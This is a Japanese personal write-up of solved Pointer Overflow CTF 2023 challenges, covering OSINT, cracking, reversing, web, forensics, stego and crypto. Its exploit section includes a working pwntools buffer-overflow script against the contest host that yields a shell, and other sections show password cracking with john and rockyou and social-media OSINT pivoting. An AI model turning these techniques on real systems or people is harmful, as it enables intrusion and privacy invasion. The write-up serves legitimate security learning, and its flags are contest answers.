Pointer Overflow CTF - 2023 Writeup

この大会は2023/9/17 21:00(JST)~2024/1/21 18:00(JST)に開催されました。
今回は個人で参戦。結果は2200点で312チーム中30位でした。
自分で解けた問題をWriteupとして書いておきます。

Here You See A Passer By (Misc 200)

問題は図のような迷路。

迷路をたどって出口までの文字を並べる。

poctf{uwsp_pr377y_bu7_p377y_bu7_pr377y}

A Great Interior Desert (OSINT 200)

ヒントは以下の情報。

@free_jack_marigold@mastodon.social
$ python3 sherlock free_jack_marigold
Update Available!
You are running version 0.14.2. Version 0.14.3 is available at https://github.com/sherlock-project/sherlock
[*] Checking username free_jack_marigold on:

[+] CGTrader: https://www.cgtrader.com/free_jack_marigold
[+] TikTok: https://tiktok.com/@free_jack_marigold
[+] mastodon.social: https://mastodon.social/@free_jack_marigold

[*] Search completed with 3 results

https://mastodon.social/@free_jack_marigoldにアクセスする。
SOCIAL MEMEIAに以下が書いてある。

@jock_bronson

https://mastodon.social/@jock_bronson はページが存在しない。
https://twitter.com/jock_bronsonにアクセスする。フォロワーに以下の記載がある気になる人がいる。

Definitely NOT Montezuma Cloverfield
@MontezumaClove1
I am secret.

以下の投稿がある。おそらく以前はjock_bronsonという本当の名前を使っていた。

ohman i used my real name how do i change it i'm not good with computrs

@jock_bronsonも@MontezumaClove1もフォロワーに以下の人がいる。

@SenorSpacecakes

投稿文には特に何も見つからない。リンクされているInstagramを見ると、フラグの写真が投稿されていた。

poctf{uwsp_7h3_2357_15_45h}

We Mighty, We Meek (Crack 100)

拡張子をxlsに変更し、パスワードがかかっているので、クラックする。

$ office2john crack1.xls > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hsppyhsppyjoyjoy (crack1.xls)     
1g 0:05:32:24 DONE (2023-09-18 04:37) 0.000050g/s 377.0p/s 377.0c/s 377.0C/s hsr4life..hsppybunny
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで開くと、フラグが書いてあった。

poctf{uwsp_j3_p3n53_d0nc_j35_5u15}

The Gentle Rocking of the Sun (Crack 200)

問題文にあるハッシュ値をCrackStationでクラックする。

zwischen

このパスワードで7zを解凍する。

$ 7z x crack2.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI)

Scanning the drive for archives:
1 file, 14518 bytes (15 KiB)

Extracting archive: crack2.7z

Enter password (will not be echoed):

WARNINGS:
There are data after the end of archive

--
Path = crack2.7z
Type = 7z
WARNINGS:
There are data after the end of archive
Physical Size = 398
Tail Size = 14120
Headers Size = 398
Solid = -
Blocks = 0

Everything is Ok                                              

Archives with Warnings: 1

Warnings: 1
Folders: 26
Files: 0
Size:       0
Compressed: 14518

$ ls -lR 2023
2023:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:25 p

2023/p:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:25 o

2023/p/o:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:25 c

2023/p/o/c:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:25 t

2023/p/o/c/t:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:32 f

2023/p/o/c/t/f:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 {uwsp_

2023/p/o/c/t/f/{uwsp_:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 c

2023/p/o/c/t/f/{uwsp_/c:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 4

2023/p/o/c/t/f/{uwsp_/c/4:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 1

2023/p/o/c/t/f/{uwsp_/c/4/1:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 1

2023/p/o/c/t/f/{uwsp_/c/4/1/1:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 f

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 0

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 2

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:33 n

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 1

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 4_

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 d

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 2

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 3

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 4

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 m

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 1

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:34 n

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:35 9

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n/9:
合計 0
drwxrwx--- 1 root vboxsf 0  63 05:35 '}'

2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n/9/}:
合計 0

パスを連結すると、フラグになった。

poctf{uwsp_c411f02n14_d234m1n9}

My Friend, A Loathsome Worm (Exploit 100)

Ghidraでデコンパイルする。

void main(EVP_PKEY_CTX *param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  int local_1c;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_38 = 0x3332317473657547;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_1c = 999;
  init(param_1);
  printf("Welcome, you are logged in as \'%s\'\n",&local_38);
  do {
    while( true ) {
      while( true ) {
        printf("\nHow can I help you, %s?\n",&local_38);
        puts(" (1) Change username");
        puts(" (2) Switch to root account");
        puts(" (3) Start a debug shell");
        printf("Choice: ");
        iVar1 = get_int();
        if (iVar1 != 1) break;
        printf("Enter new username: ");
        __isoc99_scanf(&DAT_001020c6,&local_38);
      }
      if (iVar1 != 2) break;
      puts("Sorry, root account is currently disabled");
    }
    if (iVar1 == 3) {
      if (local_1c == 999) {
        puts("Sorry, guests aren\'t allowed to use the debug shell");
      }
      else if (local_1c == 0x539) {
        puts("Starting debug shell");
        execl("/bin/bash","/bin/bash",0);
      }
      else {
        puts("Unrecognized user type");
      }
    }
    else {
      puts("Unknown option");
    }
  } while( true );
}
$ checksec --file exploit1.bin
[*] '/media/sf_Shared/exploit1.bin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

usernameを指定するときにBOFさせる。28バイト+0x539のバイト文字を指定することによって、local_1cを上書きし0x539にする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('34.123.210.162', 20232)
else:
    p = process('./exploit1.bin')

payload = b'A' * 28
payload += p64(0x539)

data = p.recvuntil(b': ').decode()
print(data + '1')
p.sendline(b'1\n')
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().rstrip()
print(data)
data = p.recvuntil(b': ').decode()
print(data + '3')
p.sendline(b'3\n')
data = p.recvline().decode().rstrip()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 34.123.210.162 on port 20232: Done
Welcome, you are logged in as 'Guest123'

How can I help you, Guest123?
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: 1
Enter new username: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05\x00\x00\x00\x00\x00\x00'

b'How can I help you, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05?'
 (1) Change username
 (2) Switch to root account
 (3) Start a debug shell
Choice: 3
Starting debug shell
[*] Switching to interactive mode
$ ls
exploit1.bin
flag.txt
$ cat flag.txt
poctf{uwsp_5w337_c10v32_4nd_50f7_511k}
poctf{uwsp_5w337_c10v32_4nd_50f7_511k}

Easy as it Gets (Reversing 100)

>powershell -ExecutionPolicy Bypass .\RE1.ps1

パスワードはコードに書いてあるものを使う。

(Case Sensitive) Please Enter User Password: Canadian_Soap_Opera
Encrypted Password is: TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d

Testing Decryption of Username / Password...

Decrypted Password is: poctf{uwsp_4d_v1c70r14m_w4573l4nd3r}
poctf{uwsp_4d_v1c70r14m_w4573l4nd3r}

A Tangled Web We Weave (Reversing 200)

1バイトのXOR鍵でencode_messageは暗号化されているので、"poctf{"から始まることを前提に復号する。

#!/usr/bin/env python3
enc = [0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02]

key = ord('p') ^ enc[0]

flag = ''
for c in enc:
    flag += chr(c ^ key)
print(flag)
poctf{uwsp_k1n9_k0n9_907_n07h1n9_0n_m3}

We Rest Upon a Single Hope (Web 100)

keyを入力する必要がある。HTMLソースを見ると、スクリプトが書いてある。

	<SCRIPT>
		function Gozer(key) {
			var hash = 0, i, chr;
			for (i = 0; i < key.length; i++) {
				chr   = key.charCodeAt(i);
				hash  = ((hash << 5) - hash) + chr;
				hash |= 0;
			}
			return hash;
		}
		function conv(s)	{
			var a = [];
			for (var n = 0, l = s.length; n < l; n ++) {
				var hex = Number(s.charCodeAt(n)).toString(16);
				a.push(hex);
			}
			return a.join('');
		}
		function Zuul(key) {
			if (key == v) {
				var Gatekeeper = [];
				var y = [];
				var z = [];
				Gatekeeper[0] = "706f6374667b75777370";
				Gatekeeper[1] = "formal";
				Gatekeeper[2] = "88410";
				for (var i = 0, l = Gatekeeper[0].length; i < l; i ++) {
					if (i == 0 || i % 2 == 0) {
						y += String.fromCharCode(parseInt((Gatekeeper[0].substring(i, i+2)), 16));
					}
				}
				z[0] = y;
				z[1] = Gatekeeper[2][3];
				z[2] = Gatekeeper[2][2] + Gatekeeper[1][3];
				z[3] = z[2][0] + Gatekeeper[1][5] + Gatekeeper[1][5];
				z[4] = (Gatekeeper[2]/12630) + "h" + z[2][0] + (Gatekeeper[2][0]-1);
				z[5] = z[4][0] + z[4][1] + '3' + Gatekeeper[1][2] + '3';
				z[6] = (Gatekeeper[2]/Gatekeeper[2]) + '5';
				z[7] = (Gatekeeper[2]*0) + Gatekeeper[1][0];
				z[8] = (Gatekeeper[2]/12630) + "h" + '3';
				z[9] = Gatekeeper[1][3] + (Gatekeeper[2]*0) + '5' + (Gatekeeper[2][0]-1);
				z[10] = 'r' + '3' + z[2][0] + Gatekeeper[1][5] + '}';
				console.log(z.join("_"));
			} else {
				console.log("Gozer the Traveler. He will come in one of the pre-chosen forms. During the rectification of the Vuldrini, the traveler came as a large and moving Torg! Then, during the third reconciliation of the last of the McKetrick supplicants, they chose a new form for him: that of a giant Slor! Many Shuvs and Zuuls knew what it was to be roasted in the depths of the Slor that day, I can tell you!");
			}
		}
		var p = navigator.mimeTypes+navigator.doNotTrack;
		var o = navigator.deviceMemory;
		var c = navigator.vendor+navigator.userAgent;
		var t = navigator.product+p;
		var f = o+c+p;
		var v = Gozer(p/((o+c)*t)+f);
	</SCRIPT>

Zuul関数のkeyとvが一致している場合の処理をデベロッパーツールのConsoleを使って、トレースする。

poctf{uwsp_1_4m_4ll_7h47_7h3r3_15_0f_7h3_m057_r34l}

Vigil of the Ceaseless Eyes (Web 200)

$ curl https://nvstgt.com/ManyKin/secret/flag.pdf                                                 
poctf{uwsp_71m3_15_4n_1llu510n}
poctf{uwsp_71m3_15_4n_1llu510n}

If You Don't, Remember Me (Forensics 100)

$ strings DF1.pdf | grep poctf
poctf(uwsp_77333163306D335F37305F3768335F39346D33}

$ echo 77333163306D335F37305F3768335F39346D33 | xxd -r -p   
w31c0m3_70_7h3_94m3
poctf{uwsp_w31c0m3_70_7h3_94m3}

A Petty Wage in Regret (Forensics 200)

$ exiftool DF2.jpg                                       
ExifTool Version Number         : 12.65
File Name                       : DF2.jpg
Directory                       : .
File Size                       : 359 kB
File Modification Date/Time     : 2023:09:17 23:02:17+09:00
File Access Date/Time           : 2023:09:17 23:02:45+09:00
File Inode Change Date/Time     : 2023:09:17 23:02:17+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
        :
User Comment                    : 3A3A50312F323A3A20706F6374667B757773705F3768335F7730726C645F683464
Compression                     : JPEG (old-style)
Thumbnail Offset                : 418
Thumbnail Length                : 7000
        :
Image Width                     : 1000
Image Height                    : 1000
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1000x1000
Megapixels                      : 1.0
Thumbnail Image                 : (Binary data 7000 bytes, use -b option to extract)

User Commentに16進数文字列が設定されているので、hexデコードする。

$ echo 3A3A50312F323A3A20706F6374667B757773705F3768335F7730726C645F683464 | xxd -r -p
::P1/2:: poctf{uwsp_7h3_w0rld_h4d

青空白猫のステガノグラフィー解析でエッジ抽出(ロバーツ)などを見るとフラグが見える。

::P2/2:: 17_f1257
poctf{uwsp_7h3_w0rld_h4d_17_f1257}

Better to Burn in the Light (Forensics 300)

Autospyで開き、$RECYCLE.BIN配下の以下のJPGファイルをエクスポートする。

・$RN367L5.jpg
・$RLLD6JM.pdf
・$R4K6JU8.doc

$RN367L5.jpgの末尾に以下のように書いてある。

--POCTF{NOT THE END}--

また、$RLLD6JM.pdfの先頭に以下のように書いてあり、末尾はFF D9でjpgの末尾と同じ形式なっている。

--POCTF{0.5c} --

それぞれ"--"から"--"までを削除し、結合すると、jpg画像として認識され、画像にフラグの前半が書かれている。

poctf{uwsp_5h1v

$R4K6JU8.docは先頭4バイトが欠けているjpgの形式になっているので、先頭4バイトを追加する。すると、jpg画像として認識され、画像にフラグの後半が書かれている。

3r_m3_71mb3r5}
poctf{uwsp_5h1v3r_m3_71mb3r5}

Absence Makes Hearts Go Yonder (Stego 100)

gifの後ろにzipがくっついているので、切り出す。切り出したzipを解凍すると、flag.txtが展開され、フラグが書いてあった。

poctf{uwsp_h342d_y0u_7h3_f1257_71m3}

An Invincible Summer (Stego 200)

画像の差分を白黒で出力する。lock.bmpとlock.pngの差分はASCIIコードとしてデコードできそうなので、デコードする。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('lock.bmp').convert('RGB')
img2 = Image.open('lock.png').convert('RGB')
w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

b_data = ''
for x in range(368):
    r1, g1, b1 = img1.getpixel((x, 0))
    r2, g2, b2 = img2.getpixel((x, 0))
    if r1 == r2 and g1 == g2 and b1 == b2:
        b_data += '0'
    else:
        b_data += '1'

flag = ''
for i in range(0, len(b_data), 8):
    flag += chr(int(b_data[i:i+8], 2))
print(flag)
poctf{uwsp_1_h4v3_n0_m0u7h_4nd_1_mu57_5cr34m}

Unquestioned and Unrestrained (Crypto 100)

base64デコードする。

$ echo cG9jdGZ7dXdzcF80MTFfeTB1Ml84NDUzXzQyM184MzEwbjlfNzBfdTV9 | base64 -d
poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}
poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}

A Pale, Violet Light (Crypto 200)

RSA暗号。nをfactordbで素因数分解する。

n = 34034827 = 5807 * 5861

あとは通常通り1文字ずつ復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 5039
N = 34034827
C = [933969, 15848125, 24252056, 5387227, 5511551, 10881790, 3267174, 14500698, 28242580, 933969, 32093017, 18035208, 2594090, 2594090, 9122397, 21290815, 15930721, 4502231, 5173234, 21290815, 23241728, 2594090, 21290815, 18035208, 10891227, 15930721, 202434, 202434, 21290815, 5511551, 202434, 4502231, 5173234, 25243036]

p = 5807
q = 5861
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

flag = ''
for c in C:
    m = pow(c, d, N)
    flag += chr(m)

print(flag)

復号結果は以下の通り。

poctf{uwsp_533k 4nd y3 5h411 f1nd}
poctf{uwsp_533k_4nd_y3_5h411_f1nd}

Missing and Missed (Crypto 300)

Brainf*ck言語。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。

poctf{uwsp_219h7_w20n9_02_f0290773n}